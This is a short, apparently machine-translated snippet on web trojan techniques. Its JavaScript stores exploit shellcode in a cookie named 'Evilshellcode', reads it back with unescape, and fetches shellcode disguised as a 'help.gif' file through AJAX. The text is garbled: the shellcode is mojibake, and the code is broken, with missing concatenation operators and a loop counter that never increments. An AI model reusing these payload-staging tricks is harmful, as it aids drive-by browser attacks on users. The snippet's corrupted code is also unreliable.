Analysis of tips implementation of an Internet horse_Hacker nature

//Storage
function setCookie (sVar, sVal){
theCookie = sVar '=' sVal '; expires=Fri, 1 Jul 2020 09:45:27 UTC';
document.cookie = theCookie;}
shellcode="� 90�90 fc�7c�f9�35-49~db�d8�73 4euec..."
setCookie('Evilshellcode', shellcode);
//Get out
function getCookie(sVar) {
cookies = document.cookie.split('; ');
for(var i = 1; i <= cookies.length; i ){
if(cookies[i - 1]. split('=')[0] == sVar){return cookies[i - 1].split('=')[1];}}
return '';
}
a= unescape(getCookie('Evilshellcode'))

var shellcode = $.ajax({
url: "help.gif",
async: false
}).responseText